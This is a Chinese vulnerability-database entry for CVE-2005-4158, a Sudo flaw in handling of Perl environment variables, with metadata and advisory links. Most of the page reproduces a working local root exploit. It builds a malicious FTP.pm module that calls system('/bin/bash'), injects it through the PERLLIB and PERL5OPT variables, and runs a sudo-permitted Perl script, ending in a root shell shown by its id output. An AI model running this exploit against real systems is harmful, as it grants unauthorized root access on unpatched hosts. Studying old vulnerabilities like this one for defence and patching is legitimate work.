Sudo Perl环境变量处理安全性绕过漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109234 漏洞类型 输入验证
发布时间 2005-11-11 更新时间 2006-10-24
CVE编号 CVE-2005-4158 CNNVD-ID CNNVD-200512-192
漏洞平台 Linux CVSS评分 4.6
|漏洞来源
https://www.exploit-db.com/exploits/26498
https://www.securityfocus.com/bid/15394
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200512-192
|漏洞详情
Sudo1.6.8p12之前的版本,在Perltaint旗标关闭时,不会清除(1)PERLLIB、(2)PERL5LIB和(3)PERL5OPT环境变量,有限的本地用户可以使Perl脚本包含并执行与脚本包含的程序库文件具有相同名称的任意程序库文件。
|漏洞EXP
source: http://www.securityfocus.com/bid/15394/info

Sudo is prone to a security-bypass vulnerability that could lead to arbitrary code execution. This issue is due to an error in the application when handling the 'PERLLIB', 'PERL5LIB', and 'PERL5OPT' environment variables when tainting is ignored.

An attacker can exploit this vulnerability to bypass security restrictions and include arbitrary library files.

To exploit this vulnerability, an attacker must be able to run Perl scripts through Sudo.

## Sudo local root exploit ##
## vuln versions : sudo < 1.6.8p12
## adv : http://www.securityfocus.com/bid/15394
## adv : http://www.frsirt.com/bulletins/2642

##by breno - breno@kalangolinux.org

## You need execute access to perl script in sudo ##

## cat /etc/sudoers ##

breno   ALL=(ALL) /home/breno/code.pl

## Now let's create your own perl module FTP.pm :) good name.

breno  ~ $ -> mkdir modules
breno  ~ $ -> mkdir FTP
breno  ~/modules $ -> ls
FTP
breno  ~/modules $ -> cd FTP
breno  ~/modules/FTP $ -> h2xs -AXc -n FTP
Defaulting to backwards compatibility with perl 5.8.7
If you intend this module to be compatible with earlier perl versions, please
specify a minimum perl version with the -b option.

Writing FTP/lib/FTP.pm
Writing FTP/Makefile.PL
Writing FTP/README
Writing FTP/t/FTP.t
Writing FTP/Changes
Writing FTP/MANIFEST
breno  ~/modules/FTP $ ->

breno  ~/modules/FTP/FTP $ -> perl Makefile.PL
Checking if your kit is complete...
Looks good
Writing Makefile for FTP
breno  ~/modules/FTP/FTP $ -> make
cp lib/FTP.pm blib/lib/FTP.pm
Manifying blib/man3/FTP.3pm
breno  ~/modules/FTP/FTP $ -> make test
PERL_DL_NONLAZY=1 /usr/bin/perl "-MExtUtils::Command::MM" "-e" "test_harness(0,
'blib/lib', 'blib/arch')" t/*.t
t/FTP....ok
All tests successful.
Files=1, Tests=1,  0 wallclock secs ( 0.03 cusr +  0.01 csys =  0.04 CPU)
breno  ~/modules/FTP/FTP $ ->

#Now i deleted the default FTP.pm (it was ugly), and create my beautiful module

breno  ~/modules/FTP/FTP/blib/lib $ -> vi FTP.pm

package FTP;

use strict;
use vars qw($VERSION);
$VERSION = '0.01';

sub new {
  my $package = shift;
  return bless({}, $package);
}

sub verbose {
    my $self = shift;
    system("/bin/bash");
    if (@_) {
    $self->{'verbose'} = shift;
      }
       return $self->{'verbose'};
}

sub hoot {
   my $self = shift;
   return "Don't pollute!" if $self->{'verbose'};
   return;
}

1;
__END__

EOF

# Remenber our super code.pl

breno  ~ $ -> vi code.pl

#!/usr/bin/perl

BEGIN { $| = 1; print "1..1\n"; }
END {print "not ok 1\n" unless $loaded;}
use FTP;
$loaded = 1;
print "ok 1\n";

my $obj = new FTP;
$obj->verbose(1);
my $result = $obj->hoot;
print ($result eq "Don't pollute!" ? "ok 2\n" : "not ok 2\n");

$obj->verbose(0);
my $result = $obj->hoot;
print ($result eq "" ? "ok 3\n" : "not ok 3\n");


EOF


# Now let's play with PERLLIB and PERL5OPT env.

breno  ~ $ -> export PERLLIB="/home/breno/modules/FTP/FTP/blib/lib/"
breno  ~ $ -> export PERL5OPT="-MFTP"

# Now get Root!! :)

breno  ~ $ -> sudo ./code.pl
Password:
1..1
ok 1
root  ~ # -> id
uid=0(root) gid=0(root) grupos=0(root)
root  ~ # ->
|受影响的产品
Ubuntu Ubuntu Linux 5.10 powerpc Ubuntu Ubuntu Linux 5.10 i386 Ubuntu Ubuntu Linux 5.10 amd64 Ubuntu Ubuntu Linux 5.0 4 powerpc Ubuntu Ubuntu Linux 5.0 4 i386 Ubuntu Ubuntu
|参考资料

来源:XF
名称:sudo-perl-execute-code(23102)
链接:http://xforce.iss.net/xforce/xfdb/23102
来源:www.sudo.ws
链接:http://www.sudo.ws/sudo/alerts/perl_env.html
来源:BID
名称:15394
链接:http://www.securityfocus.com/bid/15394
来源:SECTRACK
名称:1015192
链接:http://securitytracker.com/alerts/2005/Nov/1015192.html
来源:SECUNIA
名称:17534
链接:http://secunia.com/advisories/17534/
来源:TRUSTIX
名称:2006-0002
链接:http://www.trustix.org/errata/2006/0002/
来源:SUSE
名称:SUSE-SR:2006:002
链接:http://www.novell.com/linux/security/advisories/2006_02_sr.html
来源:MANDRIVA
名称:MDKSA-2006:159
链接:http://www.mandriva.com/security/advisories?name=MDKSA-2006:159
来源:MANDRAKE
名称:MDKSA-2005:234
链接:http://www.mandriva.com/security/advisories?name=MDKSA-2005:234
来源:VUPEN
名称:ADV-2005-2386
链接:http://www.frsirt.com/english/advisories/2005/2386
来源:DEBIAN
名称:DSA-946
链接:http://www.debian.org/security/2006/dsa-946
来源:SECUNIA
名称:21692
链接:http://secunia.com/advisories/21692
来源:SECUNIA
名称:18558
链接:http://secunia.com/advisories/18558
来源:SECUNIA
名称:18549
链接:http://s